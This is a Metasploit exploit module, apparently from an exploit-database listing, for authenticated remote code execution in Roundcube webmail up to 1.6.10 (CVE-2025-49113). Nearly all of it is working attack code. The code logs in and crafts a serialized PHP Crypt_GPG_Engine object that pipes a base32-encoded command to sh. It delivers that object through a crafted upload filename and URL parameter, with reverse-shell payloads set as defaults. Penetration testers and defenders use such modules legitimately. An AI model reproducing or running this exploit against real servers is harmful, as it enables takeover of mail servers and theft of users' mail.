
7 changes to exploits/shellcodes/ghdb Freefloat FTP Server 1.0 - Remote Buffer Overflow Roundcube 1.6.10 - Remote Code Execution (RCE) Anchor CMS 0.12.7 - Stored Cross Site Scripting (XSS) PCMan FTP Server 2.0.7 - Remote Buffer Overflow Windows File Explorer Windows 10 Pro x64 - TAR Extraction
238 lines
No EOL
7 KiB
Text
238 lines
No EOL
7 KiB
Text
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::CmdStager
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization',
|
|
'Description' => %q{
|
|
Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution
|
|
by authenticated users because the _from parameter in a URL is not validated
|
|
in program/actions/settings/upload.php, leading to PHP Object Deserialization.
|
|
|
|
An attacker can execute arbitrary system commands as the web server.
|
|
},
|
|
'Author' => [
|
|
'Maksim Rogov', # msf module
|
|
'Kirill Firsov', # disclosure and original exploit
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['CVE', '2025-49113'],
|
|
['URL', 'https://fearsoff.org/research/roundcube']
|
|
],
|
|
'DisclosureDate' => '2025-06-02',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [IOC_IN_LOGS],
|
|
'Reliability' => [REPEATABLE_SESSION]
|
|
},
|
|
'Platform' => ['unix', 'linux'],
|
|
'Targets' => [
|
|
[
|
|
'Linux Dropper',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
|
|
'Type' => :linux_dropper,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
|
|
}
|
|
],
|
|
[
|
|
'Linux Command',
|
|
{
|
|
'Platform' => ['unix', 'linux'],
|
|
'Arch' => [ARCH_CMD],
|
|
'Type' => :nix_cmd,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [true, 'Email User to login with', '' ]),
|
|
OptString.new('PASSWORD', [true, 'Password to login with', '' ]),
|
|
OptString.new('TARGETURI', [true, 'The URI of the Roundcube Application', '/' ]),
|
|
OptString.new('HOST', [false, 'The hostname of Roundcube server', ''])
|
|
]
|
|
)
|
|
end
|
|
|
|
class PhpPayloadBuilder
|
|
def initialize(command)
|
|
@encoded = Rex::Text.encode_base32(command)
|
|
@gpgconf = %(echo "#{@encoded}"|base32 -d|sh &#)
|
|
end
|
|
|
|
def build
|
|
len = @gpgconf.bytesize
|
|
%(|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:#{len}:"#{@gpgconf}";s:8:"_homedir";s:0:"";};)
|
|
end
|
|
end
|
|
|
|
def fetch_login_page
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'method' => 'GET',
|
|
'keep_cookies' => true,
|
|
'vars_get' => { '_task' => 'login' }
|
|
)
|
|
|
|
fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
|
|
res
|
|
end
|
|
|
|
def check
|
|
res = fetch_login_page
|
|
|
|
unless res.body =~ /"rcversion"\s*:\s*(\d+)/
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract version number")
|
|
end
|
|
|
|
version = Rex::Version.new(Regexp.last_match(1).to_s)
|
|
print_good("Extracted version: #{version}")
|
|
|
|
if version.between?(Rex::Version.new(10100), Rex::Version.new(10509))
|
|
return CheckCode::Appears
|
|
elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610))
|
|
return CheckCode::Appears
|
|
end
|
|
|
|
CheckCode::Safe
|
|
end
|
|
|
|
def build_serialized_payload
|
|
print_status('Preparing payload...')
|
|
|
|
stager = case target['Type']
|
|
when :nix_cmd
|
|
payload.encoded
|
|
when :linux_dropper
|
|
generate_cmdstager.join(';')
|
|
else
|
|
fail_with(Failure::BadConfig, 'Unsupported target type')
|
|
end
|
|
|
|
serialized = PhpPayloadBuilder.new(stager).build.gsub('"', '\\"')
|
|
print_good('Payload successfully generated and serialized.')
|
|
serialized
|
|
end
|
|
|
|
def exploit
|
|
token = fetch_csrf_token
|
|
login(token)
|
|
|
|
payload_serialized = build_serialized_payload
|
|
upload_payload(payload_serialized)
|
|
end
|
|
|
|
def fetch_csrf_token
|
|
print_status('Fetching CSRF token...')
|
|
|
|
res = fetch_login_page
|
|
html = res.get_html_document
|
|
|
|
token_input = html.at('input[name="_token"]')
|
|
unless token_input
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token")
|
|
end
|
|
|
|
token = token_input.attributes.fetch('value', nil)
|
|
if token.blank?
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty")
|
|
end
|
|
|
|
print_good("Extracted token: #{token}")
|
|
token
|
|
end
|
|
|
|
def login(token)
|
|
print_status('Attempting login...')
|
|
vars_post = {
|
|
'_token' => token,
|
|
'_task' => 'login',
|
|
'_action' => 'login',
|
|
'_url' => '_task=login',
|
|
'_user' => datastore['USERNAME'],
|
|
'_pass' => datastore['PASSWORD']
|
|
}
|
|
|
|
vars_post['_host'] = datastore['HOST'] if datastore['HOST']
|
|
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'method' => 'POST',
|
|
'keep_cookies' => true,
|
|
'vars_post' => vars_post,
|
|
'vars_get' => { '_task' => 'login' }
|
|
)
|
|
|
|
fail_with(Failure::Unreachable, "#{peer} - No response during login") unless res
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Login failed (code #{res.code})") unless res.code == 302
|
|
|
|
print_good('Login successful.')
|
|
end
|
|
|
|
def generate_from
|
|
options = [
|
|
'compose',
|
|
'reply',
|
|
'import',
|
|
'settings',
|
|
'folders',
|
|
'identity'
|
|
]
|
|
options.sample
|
|
end
|
|
|
|
def generate_id
|
|
random_data = SecureRandom.random_bytes(8)
|
|
timestamp = Time.now.to_f.to_s
|
|
Digest::MD5.hexdigest(random_data + timestamp)
|
|
end
|
|
|
|
def generate_uploadid
|
|
millis = (Time.now.to_f * 1000).to_i
|
|
"upload#{millis}"
|
|
end
|
|
|
|
def upload_payload(payload_filename)
|
|
print_status('Uploading malicious payload...')
|
|
|
|
# 1x1 transparent pixel image
|
|
png_data = Rex::Text.decode_base64('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')
|
|
boundary = Rex::Text.rand_text_alphanumeric(8)
|
|
|
|
data = ''
|
|
data << "--#{boundary}\r\n"
|
|
data << "Content-Disposition: form-data; name=\"_file[]\"; filename=\"#{payload_filename}\"\r\n"
|
|
data << "Content-Type: image/png\r\n\r\n"
|
|
data << png_data
|
|
data << "\r\n--#{boundary}--\r\n"
|
|
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload"),
|
|
'ctype' => "multipart/form-data; boundary=#{boundary}",
|
|
'data' => data
|
|
})
|
|
|
|
print_good('Exploit attempt complete. Check for session.')
|
|
end
|
|
end |